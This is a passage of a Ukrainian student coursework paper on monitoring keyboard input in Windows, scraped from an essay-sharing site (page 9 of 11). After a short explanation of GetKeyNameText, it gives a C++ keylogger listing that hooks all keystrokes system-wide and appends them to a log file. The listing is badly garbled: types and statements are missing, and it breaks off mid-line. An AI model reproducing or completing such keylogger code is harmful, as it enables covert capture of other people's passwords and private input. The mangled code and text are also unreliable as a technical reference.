Теми рефератів
> Реферати > Курсові роботи > Звіти з практики > Курсові проекти > Питання та відповіді > Ессе > Доклади > Учбові матеріали > Контрольні роботи > Методички > Лекції > Твори > Підручники > Статті Контакти
Реферати, твори, дипломи, практика » Курсовые обзорные » Моніторинг введенню з клавіатурі в середовіщі ОС Windows

Реферат Моніторинг введенню з клавіатурі в середовіщі ОС Windows





начає, чи є клавіша натиснута, які не натиснута або перемикань. p align="justify"> Функція GetKeyNameText вітягує рядок, Який представляет Назву клавіші.GetKeyNameText (lParam,// ​​другий параметр ПОВІДОМЛЕННЯ клавіатуріlpString,// ​​адреси буфера з ім'ям клавішіnSize// максимальна довжина рядка з ім'ям клавіші

); - візначає другий параметр ПОВІДОМЛЕННЯ клавіатурі (типу WM_KEYDOWN) для ОБРОБКИ. Функція інтерпретує наступні Частини lParam (Біт-Призначення):

- 16-23 - скан-код.

- 24 - Прапорець додаткової клавіші. Дає відмітна ознака для Деяк клавіш розшіреної клавіатурі.

25 - Біт "Байдужим стан". Прикладна програма, яка віклікає Цю функцію встановлює цею біт, щоб вказаті, что функція не винних розрізняті, Наприклад, между лівімі І Правил клавішамі CTRL и SHIFT. p align="justify"> Для Збереження ІНФОРМАЦІЇ вікорістовуємо лог. Лог-файл це такий файл, в Який запісується інформація про Виконання програми. p align="justify"> Лістінг програми:

# include "windows.h"

# include "fstream"

# include "iostream"

# include "algorithm"

# include "string" namespace std; myKey; isCaps (); logName [] = "keys.txt"; message; keyboardHook; keyNameBuff [16]; p; int sc; writeToLog ( string s)

{log (logName, ios :: app); <

} isCaps ()

{((GetKeyState (VK_CAPITAL) & 0x0001)! = 0 | |

((GetKeyState (VK_SHIFT) & 0x8000)! = 0)) {1;

} else {0;

}

} CALLBACK hookProc (int nCode, wParam, LPARAM lParam)

{(wParam == WM_KEYDOWN)

{= (PKBDLLHOOKSTRUCT) (lParam); = MapVirtualKey (p-> vkCode, 0); <<= 16; (! (p-> vkCode <= 32))

{| = 0x1 <<24;} (sc, keyNameBuff, 16); = keyNameBuff; (myKey == "Space") {("");

} if (myKey == "Right Alt") {("[R ALT]");

} if (myKey == "Enter") {("[ENTER]");

} if (myKey == "Left Alt") {("[L ALT]");

} if (myKey == "Tab") {("[TAB]");

} if (myKey == "Backspace") {("[BS]");

} if (myKey == "Caps Lock") {("[CAPS]");

} if (myKey == "Delete") {("[DEL]");

} if (myKey == "Right Shift") {("[R SHIFT]");

} if (myKey == "Shift") {("[L SHIFT]");

} if (myKey == "Ctrl") {("[L CTRL]");

} if (myKey == "Right Ctrl") {("[R CTRL]");

} {(isCaps () == 1) {(myKey);

} else {:: transform (myKey.begin (), myKey.end (),. begi...


Назад | сторінка 9 з 11 | Наступна сторінка





Схожі реферати:

  • Реферат на тему: Генерування звукових сігналів різної частоти за помощью клавіатурі
  • Реферат на тему: Резидентний оброблювач клавіатури (перехоплення натискань клавіш і запис у ...
  • Реферат на тему: Контроль як функція менеджменту: сутність, види, призначення
  • Реферат на тему: Розробка програми, що реалізує алгоритм, який використовує z-буфер
  • Реферат на тему: Троянські програми в ОС Windows